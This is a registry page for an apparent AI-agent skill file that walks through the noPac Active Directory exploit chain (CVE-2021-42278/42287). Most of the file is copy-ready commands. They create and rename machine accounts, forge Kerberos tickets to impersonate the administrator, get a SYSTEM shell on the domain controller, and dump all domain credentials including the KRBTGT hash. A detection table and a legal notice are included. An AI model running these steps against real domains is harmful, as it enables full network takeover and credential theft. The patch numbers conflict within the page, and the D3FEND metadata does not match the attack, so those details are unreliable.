<< All versions

Skill v1.0.2

currentAutomated scan100/100
mukul975/anthropic-cybersecurity-skills/exploiting-nopac-cve-2021-42278-42287

chore: update contributor wall

──Details
PublishedSeptember 12, 2026 at 12:40 PM
Content Hashsha256:7878dc14d607b8e4...
Git SHA54a798831d22
Compare with v1.0.1
──Files
Files (1 file, 8.1 KB)
SKILL.md8.1 KBactive
SKILL.md · 203 lines · 8.1 KB

name: exploiting-nopac-cve-2021-42278-42287 description: Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping. domain: cybersecurity subdomain: red-teaming tags:

  • red-team
  • active-directory
  • nopac
  • cve-2021-42278
  • cve-2021-42287
  • privilege-escalation
  • domain-escalation

version: '1.0' author: mahipal license: Apache-2.0 d3fend_techniques:

  • Platform Monitoring
  • Process Code Segment Verification
  • Stack Frame Canary Validation
  • Segment Address Offset Randomization
  • Process Analysis

nist_csf:

  • ID.RA-01
  • GV.OV-02
  • DE.AE-07

mitre_attack:

  • T1595
  • T1190
  • T1059
  • T1078
  • T1068

Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.

When to Use

  • When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
  • Create or leverage a machine account with modified sAMAccountName
  • Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
  • Use the DC ticket to perform DCSync and dump domain credentials
  • Achieve Domain Admin access from a standard domain user account
  • Document the complete exploitation chain with evidence

MITRE ATT&CK Mapping

  • T1068 - Exploitation for Privilege Escalation
  • T1136.002 - Create Account: Domain Account
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1558 - Steal or Forge Kerberos Tickets
  • T1003.006 - OS Credential Dumping: DCSync

Workflow

Phase 1: Vulnerability Scanning

  1. Check if the domain is vulnerable using the noPac scanner:

```bash # Using cube0x0's noPac scanner python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1

# Using CrackMapExec module crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac ```

  1. Verify the MachineAccountQuota (default is 10, allows any user to join computers):

``bash # Check MachineAccountQuota via LDAP python3 -c " import ldap3 server = ldap3.Server('10.10.10.1') conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True) conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota']) print(conn.entries[0]['ms-DS-MachineAccountQuota']) " ``

Phase 2: Exploitation with noPac Tool

  1. Run the full noPac exploit chain:

```bash # Using cube0x0's noPac (gets a shell on the DC) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap

# Using Ridter's noPac (alternative implementation) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ --impersonate administrator -dump ```

  1. The exploit automatically:
  • Creates a new machine account (or uses an existing one)
  • Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
  • Requests a TGT for the spoofed account name
  • Restores the original sAMAccountName
  • Uses S4U2self to obtain a service ticket impersonating the target user
  • The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

Phase 3: Post-Exploitation

  1. With the obtained Domain Controller ticket, perform DCSync:

```bash # DCSync using secretsdump.py with the Kerberos ticket export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

# Or directly through the noPac shell # The shell runs as SYSTEM on the DC ```

  1. Alternatively, obtain a semi-interactive shell:

``bash python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap ``

Phase 4: Manual Exploitation Steps

  1. Create a machine account:

``bash addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' ``

  1. Clear the SPN and rename sAMAccountName:

``bash # Rename machine account sAMAccountName to DC name (without $) renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' ``

  1. Request a TGT for the spoofed name:

``bash getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123' ``

  1. Restore the original machine name:

``bash renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' ``

  1. Use S4U2self for impersonation:

``bash export KRB5CCNAME=DC01.ccache getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \ -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$' ``

Tools and Resources

ToolPurposePlatform
noPac (cube0x0)Automated scanner and exploiterPython
noPac (Ridter)Alternative exploit implementationPython
ImpacketKerberos ticket manipulation, DCSyncPython
CrackMapExecVulnerability scanning modulePython
RubeusWindows Kerberos ticket operationsWindows (.NET)
secretsdump.pyPost-exploitation credential dumpingPython

CVE Details

CVEDescriptionCVSSPatch
CVE-2021-42278sAMAccountName spoofing (machine accounts)7.5KB5008102
CVE-2021-42287KDC PAC confusion / privilege escalation7.5KB5008380

Detection Signatures

IndicatorDetection Method
Machine account sAMAccountName changeEvent 4742 (computer account changed) with sAMAccountName modification
New machine account creationEvent 4741 (computer object created)
TGT request for account without trailing $Kerberos audit log analysis
S4U2self requests from non-DC machine accountsEvent 4769 with unusual service ticket requests
Rapid sequence: create account, rename, request TGTSIEM correlation rule for noPac attack pattern

Validation Criteria

  • [ ] Domain scanned for noPac vulnerability
  • [ ] MachineAccountQuota verified (default 10)
  • [ ] Exploit executed successfully (shell or DCSync)
  • [ ] Domain Admin privileges obtained from standard user
  • [ ] DCSync performed to dump domain credentials
  • [ ] KRBTGT hash obtained for persistence validation
  • [ ] Attack chain documented with timestamps
  • [ ] Patch status verified (KB5008380, KB5008602)
← v1.0.1All versions